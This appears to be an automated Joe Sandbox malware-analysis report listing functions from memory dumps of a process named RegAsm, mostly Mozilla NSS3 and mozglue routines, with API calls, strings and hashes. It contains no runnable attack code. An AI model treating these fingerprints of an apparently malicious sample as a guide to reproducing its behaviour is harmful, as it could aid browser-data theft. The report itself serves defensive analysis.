Part of subcall function 6C2BFAB0: free.MOZGLUE(?,-00000001,?,?,6C25F673,00000000,00000000), ref: 6C2BFAC7

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C39300C,00000000), ref: 6C2D4EB8
SECOID_FindOID_Util.NSS3(?), ref: 6C2D4EFF
memcmp.VCRUNTIME140(?,00000000,00000000), ref: 6C2D4F56
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C2D521A

Memory Dump Source

Source File: 00000003.00000002.3361584161.000000006C1E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1E0000, based on PE: true

Associated: 00000003.00000002.3359794827.000000006C1E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3372837629.000000006C37F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373086705.000000006C3BE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373112248.000000006C3BF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373138120.000000006C3C0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373163536.000000006C3C5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c1e0000_RegAsm.jbxd

Similarity

API ID: Util$Arena$Alloc_Arena_Item_Value$AllocateCriticalDecodeEnterFindFreeInitLockPoolQuickSectionUnlockZfreecallocfreememcmp
String ID:
API String ID: 1025791883-0
Opcode ID: ad27adcd030aac9d0d06cae1e6f83f5a6da042192c7e070f9aeecb1bfea9afd0
Instruction ID: da0a4b9bbd64acea3f42723acf87dd852376b1d3761c8684b17273a669f30fc7
Opcode Fuzzy Hash: ad27adcd030aac9d0d06cae1e6f83f5a6da042192c7e070f9aeecb1bfea9afd0
Instruction Fuzzy Hash: 31F18EB1E0020A8FDB04CF58D4407ADB7B1FF58359F268129E915AB781EB75E981CB91

Function 6C144480 Relevance: 16.8, APIs: 11, Instructions: 316COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(B60B60B8,?,?,?,?,6C184843,?), ref: 6C1445F5
free.MOZGLUE(?,?,?,?,?,?,?,?,6C184843,?), ref: 6C14468A
free.MOZGLUE(?,?,?,?,?,?,6C184843,?), ref: 6C1446C9
free.MOZGLUE(?), ref: 6C1446EF
free.MOZGLUE(?), ref: 6C144712
free.MOZGLUE(?), ref: 6C144735
free.MOZGLUE(?), ref: 6C144758
free.MOZGLUE(?), ref: 6C14477B
free.MOZGLUE(?), ref: 6C14479E

Memory Dump Source

Source File: 00000003.00000002.3347618666.000000006C141000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C140000, based on PE: true

Associated: 00000003.00000002.3345201274.000000006C140000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.3353640079.000000006C1BD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.3355882897.000000006C1CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.3358694329.000000006C1D2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c140000_RegAsm.jbxd

Similarity

API ID: free$moz_xmalloc
String ID:
API String ID: 3009372454-0
Opcode ID: 31d3713a1f374eb989d451b3f022b2a4e395d1696f4837da942a939c9d8676ee
Instruction ID: f04a2882b091dd6ea1d9ecc4a060ae1f15cf11ef6bc26f07b82de53b75958cac
Opcode Fuzzy Hash: 31d3713a1f374eb989d451b3f022b2a4e395d1696f4837da942a939c9d8676ee
Instruction Fuzzy Hash: 60B10172A001518FDB18CF7CD8A076D77B2AF42328F198629E916DFF82E73498518B81

Function 6C202E50 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 282COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,?), ref: 6C202F3D
memset.VCRUNTIME140(?,00000000,?), ref: 6C202FB9
memcpy.VCRUNTIME140(?,00000000,?), ref: 6C203005
memcpy.VCRUNTIME140(?,?,?), ref: 6C2030EE
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C203131
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001086C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C203178

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C203022, 6C203156, 6C203162, 6C20318A, 6C203196, 6C2031A2, 6C2031AE, 6C2031BA, 6C2031C6
database corruption, xrefs: 6C20316C
%s at line %d of [%.10s], xrefs: 6C203171

Memory Dump Source

Source File: 00000003.00000002.3361584161.000000006C1E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1E0000, based on PE: true

Associated: 00000003.00000002.3359794827.000000006C1E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3372837629.000000006C37F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373086705.000000006C3BE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373112248.000000006C3BF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373138120.000000006C3C0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373163536.000000006C3C5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c1e0000_RegAsm.jbxd

Similarity

API ID: memcpy$memsetsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 984749767-598938438
Opcode ID: b0dedbf88f493a87fd1da9d7d446d9d73a863a8870f3576d693f7cd03c3ec634
Instruction ID: 87def687a35a132572a8bc84614908a7c28ced385d5007e93b870a609062c8e6
Opcode Fuzzy Hash: b0dedbf88f493a87fd1da9d7d446d9d73a863a8870f3576d693f7cd03c3ec634
Instruction Fuzzy Hash: C5B17FB0E052199BCB18CF9DC884EEEFBB2BF49304F14442AE845B7B45D7759941CBA4

Function 6C252D20 Relevance: 15.9, APIs: 1, Strings: 8, Instructions: 183COMMON

Download Yara Rule

APIs

__allrem.LIBCMT ref: 6C252D69

Strings

winUnmapfile2, xrefs: 6C252F7F
winTruncate2, xrefs: 6C252EF8
winUnmapfile1, xrefs: 6C252F55
@7l, xrefs: 6C252E24
winSeekFile, xrefs: 6C252E9C
P7l, xrefs: 6C252E74, 6C252EC5, 6C252F32, 6C252F5C
winTruncate1, xrefs: 6C252EBE
7l, xrefs: 6C252DD0

Memory Dump Source

Source File: 00000003.00000002.3361584161.000000006C1E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1E0000, based on PE: true

Associated: 00000003.00000002.3359794827.000000006C1E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3372837629.000000006C37F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373086705.000000006C3BE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373112248.000000006C3BF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373138120.000000006C3C0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373163536.000000006C3C5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c1e0000_RegAsm.jbxd

Similarity

API ID: __allrem
String ID: @7l$P7l$winSeekFile$winTruncate1$winTruncate2$winUnmapfile1$winUnmapfile2$7l
API String ID: 2933888876-2017981613
Opcode ID: 1831ac1f2f1a00f7f574970da1c52a0424ca4c373bb291c97f2688e6b315f1a7
Instruction ID: ac6946649ac29829fb5aa9649a63632775456fc73b897910cb11cca0430f5c8d
Opcode Fuzzy Hash: 1831ac1f2f1a00f7f574970da1c52a0424ca4c373bb291c97f2688e6b315f1a7
Instruction Fuzzy Hash: 4261BEB5B003099FDB04CF68D884AAA7BB5FF49314F508128ED09AB7D0DB35AD16CB91

Function 0040DB7F Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 109stringmemoryCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(?,750A5460,?,00000000), ref: 0040DBBB
strchr.MSVCRT ref: 0040DBCD
strchr.MSVCRT ref: 0040DBF2
lstrlenA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,0040DCF7), ref: 0040DC14
GetProcessHeap.KERNEL32(00000008,-00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0040DC21
HeapAlloc.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,0040DCF7), ref: 0040DC28
strcpy_s.MSVCRT ref: 0040DC6F

Strings

`Tu, xrefs: 0040DBAA
0123456789ABCDEF, xrefs: 0040DB99

Memory Dump Source

Source File: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2982048751.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heaplstrlenstrchr$AllocProcessstrcpy_s
String ID: 0123456789ABCDEF$`Tu
API String ID: 453150750-1497512213
Opcode ID: 1daa6df51acd787baac340b084811957cc12664872ac1c286401c8a8e8d90d4d
Instruction ID: 6757f0a10c7d4012b5adc36d093af920143e9be3a32f83459c34564e35515def
Opcode Fuzzy Hash: 1daa6df51acd787baac340b084811957cc12664872ac1c286401c8a8e8d90d4d
Instruction Fuzzy Hash: 6C315D72D002199FDB00DFE8DC49ADEBBB9AF09355F100179E901FB281DB79A909CB94

Function 6C266DB0 Relevance: 15.2, APIs: 10, Instructions: 200memoryCOMMON

Download Yara Rule

APIs

SECITEM_ArenaDupItem_Util.NSS3(?,6C267D8F,6C267D8F,?,?), ref: 6C266DC8

Part of subcall function 6C2BFDF0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,00000000,?,?), ref: 6C2BFE08
Part of subcall function 6C2BFDF0: PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?), ref: 6C2BFE1D
Part of subcall function 6C2BFDF0: memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?), ref: 6C2BFE62

PORT_ArenaAlloc_Util.NSS3(?,00000010,?,?,6C267D8F,?,?), ref: 6C266DD5

Part of subcall function 6C2C10C0: TlsGetValue.KERNEL32(?,6C268802,00000000,00000008,?,6C25EF74,00000000), ref: 6C2C10F3
Part of subcall function 6C2C10C0: EnterCriticalSection.KERNEL32(?,?,6C268802,00000000,00000008,?,6C25EF74,00000000), ref: 6C2C110C
Part of subcall function 6C2C10C0: PL_ArenaAllocate.NSS3(?,?,?,6C268802,00000000,00000008,?,6C25EF74,00000000), ref: 6C2C1141
Part of subcall function 6C2C10C0: PR_Unlock.NSS3(?,?,?,6C268802,00000000,00000008,?,6C25EF74,00000000), ref: 6C2C1182
Part of subcall function 6C2C10C0: TlsGetValue.KERNEL32(?,6C268802,00000000,00000008,?,6C25EF74,00000000), ref: 6C2C119C

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C388FA0,00000000,?,?,?,?,6C267D8F,?,?), ref: 6C266DF7

Part of subcall function 6C2BB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C3918D0,?), ref: 6C2BB095

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6C266E35

Part of subcall function 6C2BFDF0: PORT_Alloc_Util.NSS3(0000000C,00000000,?,?), ref: 6C2BFE29
Part of subcall function 6C2BFDF0: PORT_Alloc_Util.NSS3(?,?,?,?), ref: 6C2BFE3D
Part of subcall function 6C2BFDF0: free.MOZGLUE(00000000,?,?,?,?), ref: 6C2BFE6F

PORT_ArenaAlloc_Util.NSS3(?,0000005C), ref: 6C266E4C

Part of subcall function 6C2C10C0: PL_ArenaAllocate.NSS3(?,6C268802,00000000,00000008,?,6C25EF74,00000000), ref: 6C2C116E

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C388FE0,00000000), ref: 6C266E82

Part of subcall function 6C266AF0: SECITEM_ArenaDupItem_Util.NSS3(00000000,6C26B21D,00000000,00000000,6C26B219,?,6C266BFB,00000000,?,00000000,00000000,?,?,?,6C26B21D), ref: 6C266B01
Part of subcall function 6C266AF0: SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,00000000), ref: 6C266B8A

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6C266F1E
PORT_ArenaAlloc_Util.NSS3(?,0000005C), ref: 6C266F35
SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C388FE0,00000000), ref: 6C266F6B
PR_SetError.NSS3(FFFFE005,00000000,6C267D8F,?,?), ref: 6C266FE1

Memory Dump Source

Source File: 00000003.00000002.3361584161.000000006C1E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1E0000, based on PE: true

Associated: 00000003.00000002.3359794827.000000006C1E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3372837629.000000006C37F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373086705.000000006C3BE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373112248.000000006C3BF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373138120.000000006C3C0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373163536.000000006C3C5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c1e0000_RegAsm.jbxd

Similarity

API ID: Util$Arena$Item_$Alloc_$DecodeQuick$AllocateErrorValue$CriticalEnterSectionUnlockfreememcpy
String ID:
API String ID: 587344769-0
Opcode ID: 47a972e6869d0497fb0b5f11cec739eec2a66f6c496ae2202dd55ca5eb8a3f12
Instruction ID: 931d92bee7fbc2a0976d2a36d6388cac83594aff8318f76feb0a641e8dfaf4fa
Opcode Fuzzy Hash: 47a972e6869d0497fb0b5f11cec739eec2a66f6c496ae2202dd55ca5eb8a3f12
Instruction Fuzzy Hash: C6717F71E1064B9FDB00CF56CD80AAAB7A4BF54348F154229EC08D7A11F770E9D4CBA1

Function 6C2AADC0 Relevance: 15.1, APIs: 10, Instructions: 148COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,6C28CDBB,?,6C28D079,00000000,00000001), ref: 6C2AAE10
EnterCriticalSection.KERNEL32(?,?,6C28CDBB,?,6C28D079,00000000,00000001), ref: 6C2AAE24
PR_Unlock.NSS3(?,?,?,?,?,?,6C28D079,00000000,00000001), ref: 6C2AAE5A
memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6C28CDBB,?,6C28D079,00000000,00000001), ref: 6C2AAE6F
free.MOZGLUE(85145F8B,?,?,?,?,6C28CDBB,?,6C28D079,00000000,00000001), ref: 6C2AAE7F
TlsGetValue.KERNEL32(?,6C28CDBB,?,6C28D079,00000000,00000001), ref: 6C2AAEB1
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6C28CDBB,?,6C28D079,00000000,00000001), ref: 6C2AAEC9
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,6C28CDBB,?,6C28D079,00000000,00000001), ref: 6C2AAEF1
free.MOZGLUE(6C28CDBB,?,?,?,?,?,?,?,?,?,?,?,?,?,6C28CDBB,?), ref: 6C2AAF0B
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,6C28CDBB,?,6C28D079,00000000,00000001), ref: 6C2AAF30

Memory Dump Source

Source File: 00000003.00000002.3361584161.000000006C1E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1E0000, based on PE: true

Associated: 00000003.00000002.3359794827.000000006C1E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3372837629.000000006C37F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373086705.000000006C3BE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373112248.000000006C3BF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373138120.000000006C3C0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373163536.000000006C3C5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c1e0000_RegAsm.jbxd

Similarity

API ID: Unlock$CriticalEnterSectionValuefree$memset
String ID:
API String ID: 161582014-0
Opcode ID: 56b2d4eb76095e89b1545a69396385ab4a7e8f33cb627b78592aec9c8bc4e6e8
Instruction ID: ccd21bf02ebf6d02f3f62dc3810ab4685d61a4aecf4409b7c932b70612ee9919
Opcode Fuzzy Hash: 56b2d4eb76095e89b1545a69396385ab4a7e8f33cb627b78592aec9c8bc4e6e8
Instruction Fuzzy Hash: E651AEB1A0060AEFDB05DF69D884A6AB7B4FF08319F144264EC1897A11E731F865CFD1

Function 6C284CA0 Relevance: 15.1, APIs: 10, Instructions: 142COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,00000000,?,6C28AB7F,?,00000000,?), ref: 6C284CB4
EnterCriticalSection.KERNEL32(0000001C,?,6C28AB7F,?,00000000,?), ref: 6C284CC8
TlsGetValue.KERNEL32(?,6C28AB7F,?,00000000,?), ref: 6C284CE0
EnterCriticalSection.KERNEL32(?,?,6C28AB7F,?,00000000,?), ref: 6C284CF4
PL_HashTableLookup.NSS3(?,?,?,6C28AB7F,?,00000000,?), ref: 6C284D03
PR_Unlock.NSS3(?,00000000,?), ref: 6C284D10

Part of subcall function 6C30DD70: TlsGetValue.KERNEL32 ref: 6C30DD8C
Part of subcall function 6C30DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C30DDB4

PR_Now.NSS3(?,00000000,?), ref: 6C284D26

Part of subcall function 6C329DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C370A27), ref: 6C329DC6
Part of subcall function 6C329DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C370A27), ref: 6C329DD1
Part of subcall function 6C329DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C329DED

PR_Unlock.NSS3(?,?,00000000,?), ref: 6C284D98
PR_Unlock.NSS3(?,?,?,00000000,?), ref: 6C284DDA
PR_Unlock.NSS3(?,?,?,?,00000000,?), ref: 6C284E02

Memory Dump Source

Source File: 00000003.00000002.3361584161.000000006C1E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1E0000, based on PE: true

Associated: 00000003.00000002.3359794827.000000006C1E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3372837629.000000006C37F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373086705.000000006C3BE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373112248.000000006C3BF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373138120.000000006C3C0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373163536.000000006C3C5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c1e0000_RegAsm.jbxd

Similarity

API ID: Unlock$CriticalSectionTimeValue$EnterSystem$FileHashLeaveLookupTableUnothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 4032354334-0
Opcode ID: 2fdb7a6af150d7c83099fa5cf457fb1541bf85899747f03b534660ce74308b9b
Instruction ID: 5c1b5fe84e8b7229fdf5e000a32eebc0f73947aaf934a503ee2b7e5b833f0b18
Opcode Fuzzy Hash: 2fdb7a6af150d7c83099fa5cf457fb1541bf85899747f03b534660ce74308b9b
Instruction Fuzzy Hash: 6F419AB6A002099BEB11AF24EC9495B77BCBF15259F054171EC0887B52FB31E928C7E2

Function 6C262E00 Relevance: 15.1, APIs: 10, Instructions: 78COMMON

Download Yara Rule

APIs

SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6C262CDA,?,00000000), ref: 6C262E1E

Part of subcall function 6C2BFD80: PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6C269003,?), ref: 6C2BFD91
Part of subcall function 6C2BFD80: PORT_Alloc_Util.NSS3(A4686C2C,?), ref: 6C2BFDA2
Part of subcall function 6C2BFD80: memcpy.VCRUNTIME140(00000000,12D068C3,A4686C2C,?,?), ref: 6C2BFDC4

SECITEM_DupItem_Util.NSS3(?), ref: 6C262E33

Part of subcall function 6C2BFD80: free.MOZGLUE(00000000,?,?), ref: 6C2BFDD1

TlsGetValue.KERNEL32 ref: 6C262E4E
EnterCriticalSection.KERNEL32(?), ref: 6C262E5E
PL_HashTableLookup.NSS3(?), ref: 6C262E71
PL_HashTableRemove.NSS3(?), ref: 6C262E84
PL_HashTableAdd.NSS3(?,00000000), ref: 6C262E96
PR_Unlock.NSS3 ref: 6C262EA9
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C262EB6
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C262EC5

Memory Dump Source

Source File: 00000003.00000002.3361584161.000000006C1E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1E0000, based on PE: true

Associated: 00000003.00000002.3359794827.000000006C1E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3372837629.000000006C37F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373086705.000000006C3BE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373112248.000000006C3BF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373138120.000000006C3C0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373163536.000000006C3C5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c1e0000_RegAsm.jbxd

Similarity

API ID: Util$HashItem_Table$Alloc_$CriticalEnterErrorLookupRemoveSectionUnlockValueZfreefreememcpy
String ID:
API String ID: 3332421221-0
Opcode ID: 50c1fbaff1f66ca0e45e6378f857d88d9e7f33b0efdca7fcee995889785ceebc
Instruction ID: f51c0ebb8151b1ef6d785e8f5e8008df4f0b0b863b05be052736d67a5aeec719
Opcode Fuzzy Hash: 50c1fbaff1f66ca0e45e6378f857d88d9e7f33b0efdca7fcee995889785ceebc
Instruction Fuzzy Hash: 8321F8B6A00109A7EF011B25AD09ADF3A6CEB5124DF040431ED1896B11F732E5A8C6B1

Function 6C2C4DF0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 184memoryCOMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,00000022,?,?,6C2C536F,00000022,?,?,00000000,?), ref: 6C2C4E70
PORT_ZAlloc_Util.NSS3(00000000), ref: 6C2C4F28
PR_smprintf.NSS3(%s=%s,?,00000000), ref: 6C2C4F8E
PR_smprintf.NSS3(%s=%c%s%c,?,?,00000000,?), ref: 6C2C4FAE
free.MOZGLUE(?), ref: 6C2C4FC8

Strings

%s=%s, xrefs: 6C2C4F89
%s=%c%s%c, xrefs: 6C2C4FA9
oS,l", xrefs: 6C2C4DFB, 6C2C4EF4, 6C2C4EC5

Memory Dump Source

Source File: 00000003.00000002.3361584161.000000006C1E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1E0000, based on PE: true

Associated: 00000003.00000002.3359794827.000000006C1E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3372837629.000000006C37F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373086705.000000006C3BE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373112248.000000006C3BF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373138120.000000006C3C0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373163536.000000006C3C5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c1e0000_RegAsm.jbxd

Similarity

API ID: R_smprintf$Alloc_Utilfreeisspace
String ID: %s=%c%s%c$%s=%s$oS,l"
API String ID: 2709355791-291598032
Opcode ID: de218e1d159d05ba65cdc6955d1e868bc7b8c6937a147f624629f72eab265e65
Instruction ID: 591661c0a8ecaca958575564eb9c3dea1bd77145174b96df5ad5289ac51f9858
Opcode Fuzzy Hash: de218e1d159d05ba65cdc6955d1e868bc7b8c6937a147f624629f72eab265e65
Instruction Fuzzy Hash: 9C513771B0414F8BEB41CA6984907FF7BF59F4630AF2A8326FC94A7A41D33588058792

Function 6C14ECD0 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 143fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6C14F100: LoadLibraryW.KERNEL32(shell32,?,6C1BD020), ref: 6C14F122
Part of subcall function 6C14F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C14F132

moz_xmalloc.MOZGLUE(00000012), ref: 6C14ED50
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C14EDAC
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,\Mozilla\Firefox\SkeletonUILock-,00000020,?,00000000), ref: 6C14EDCC
CreateFileW.KERNEL32 ref: 6C14EE08
free.MOZGLUE(00000000), ref: 6C14EE27
free.MOZGLUE(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6C14EE32

Part of subcall function 6C14EB90: moz_xmalloc.MOZGLUE(00000104), ref: 6C14EBB5
Part of subcall function 6C14EB90: memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6C17D7F3), ref: 6C14EBC3
Part of subcall function 6C14EB90: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6C17D7F3), ref: 6C14EBD6

Strings

g/, xrefs: 6C14ECDC
\Mozilla\Firefox\SkeletonUILock-, xrefs: 6C14EDC1

Memory Dump Source

Source File: 00000003.00000002.3347618666.000000006C141000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C140000, based on PE: true

Associated: 00000003.00000002.3345201274.000000006C140000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.3353640079.000000006C1BD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.3355882897.000000006C1CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.3358694329.000000006C1D2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c140000_RegAsm.jbxd

Similarity

API ID: Filefreemoz_xmallocwcslen$AddressCreateLibraryLoadModuleNameProcmemset
String ID: g/$\Mozilla\Firefox\SkeletonUILock-
API String ID: 1980384892-1769174400
Opcode ID: b541b6929f0f93d0e0965f9ec2bfa7192734b15d3b7bdc92054b9f492ba2cd94
Instruction ID: cc517a1e9002a5f889b39c18e54e1ab4702f932c8e8ca2ba67162f0d8f1953ef
Opcode Fuzzy Hash: b541b6929f0f93d0e0965f9ec2bfa7192734b15d3b7bdc92054b9f492ba2cd94
Instruction Fuzzy Hash: 1951B071D052048BDB10DF68C8447EEFBB1AF59318F44C52DE8557B740E734AA88CBA2

Function 0041F912 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 77COMMON

Download Yara Rule

APIs

UnDecorator::getArgumentList.LIBCMT ref: 0041F937

Part of subcall function 0041F4D2: Replicator::operator[].LIBCMT ref: 0041F555
Part of subcall function 0041F4D2: DName::operator+=.LIBCMT ref: 0041F55D

DName::operator+.LIBCMT ref: 0041F990
DName::DName.LIBCMT ref: 0041F9E8

Strings

<ellipsis>, xrefs: 0041F9D2
void, xrefs: 0041F9E0
..., xrefs: 0041F9CB, 0041F9D7
,<ellipsis>, xrefs: 0041F983
,..., xrefs: 0041F97C, 0041F988

Memory Dump Source

Source File: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2982048751.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
